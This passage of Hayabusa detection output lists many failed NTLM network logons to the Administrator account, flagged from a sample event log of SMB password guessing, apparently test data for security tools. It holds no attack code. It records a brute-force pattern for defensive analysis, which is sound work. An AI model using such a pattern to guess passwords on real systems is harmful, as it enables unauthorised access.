NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.461 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hMn6yDMLgLChJTL6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.501 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uSTokOJ31Tj0bLXv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.534 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TyRifC46GrNpTA4x : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.577 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CvNaby30vAT9drAX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.625 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wkYSOQ2bD51a4U8l : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.669 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rqdOquL9Ax01RPPU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.705 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nqCCiK5arcyRHha6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.749 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TpyTGZLkAb0w0kgW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.789 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Wa2pXrZKxeZZYKAq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.900 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dK0N5KeBgCze1YWi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.029 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: g4dHlwZjMzI5wU2s : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.075 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GzF2ouP5KkRfsxnf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.109 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RSQxMrGlDiAOo6ri : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.148 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gL0rz3p1yG6RhfAT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.196 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oyChoTSKgJeK6yqs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.234 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tG4I11dwpBM9SM3l : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.276 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: B7foAZ5Y1igCbHap : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.327 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ATDXUljQwg8WvUVs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.373 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QdmXaJqQMAG2g6Ao : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.413 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bjame5puT5CDeoIG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.454 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0FGGVVkckmdURVh6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.485 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: j0Smqw4cA4wG2Q6m : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.521 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KLWloOhUYEQlj6y6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.569 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9Tuxuykh0j5afeTH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.609 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aeXS6QwYhqJAOeuz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.666 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AqFSJCq5bmBW6dj1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.718 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DH1zyt1hxTgzajhW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.761 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rrZxcWjUX4OgYYIb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.807 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ExtkYXSJI8F41uvw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.845 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sLh1Q3RieOoukiCT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.881 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kNb2hZDxi4QrbQpx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.923 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jCb1TMlFj2PjH2sA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.973 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rgF42C57Nx6F3HU3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.005 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KZfFH9geIrxVYowJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.039 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pWz1XeyxywR0o5gS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.083 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: og1kItEC6WhqXF37 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.121 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q0KhaJlD6tWwF2ky : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.165 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XUy0EKmjyD6ZYENA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.217 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: h3MdGstPPFJDGzwG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.264 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VTs0ZQa6LGrKZKsY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.304 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FefzWjMXSvMdvqcw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.345 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hlnUt9tPRSXR5mWs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.384 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dehb4M6pcxi56Bkl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.437 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tLXHvGiUqZyxax4W : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.473 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bP1gKcf1eeKm0RB1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.525 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ldbN1odP77n0BOzO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.562 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: drRC8qCbPe5e4mdR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.607 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lBg39AUtzZi6Q4iz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.650 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: huv5YEPo1n7UiFkq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.693 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9CLLwao1NDtBulxs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.732 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SB88EHHhDWhvJI87 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.782 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VtBvklueV4MZo3pJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.828 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: noha7Vw85VfURHik : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.861 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wl5eIYvoKpJGUcSl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.921 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bsS3JTLUWcFYvxAE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.957 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gjM6hj2bGxC124oZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.005 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: V3IQkVcY5iMTxCRN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.045 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: v44Kp3lpGKb6Xd4j : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.082 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7e1skdEmGlXbzUWk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.181 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: feaA6lAxWjapFbAW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.220 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IJZjTqY5innWcvSZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.273 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ymXIp0KTw0vIbB0N : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.316 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZpPJEcLv7BoZaQwT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.357 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Cz14Cv861RhFh0Pa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.385 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: H8BklDHdS0cdcbGu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.424 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0m5Mznl2khRMj31V : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.472 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ha6TuN7C8V0roSAK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.517 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9oBW0yE5a9zSkpIH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.566 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: n54EaKOUQIX9geqx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.617 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: m6WCg3o4oatO42wW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.656 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KfCwo8ZUWiBqI8zC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.692 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8potisENMIsbNxcd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.732 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WgagMNj95dkg9uQd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.774 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: o1EVsGLFugwePvgR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.816 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6q00SeueJQAiBGpe : IP Address: 192.168.198.149 : AuthPackage: 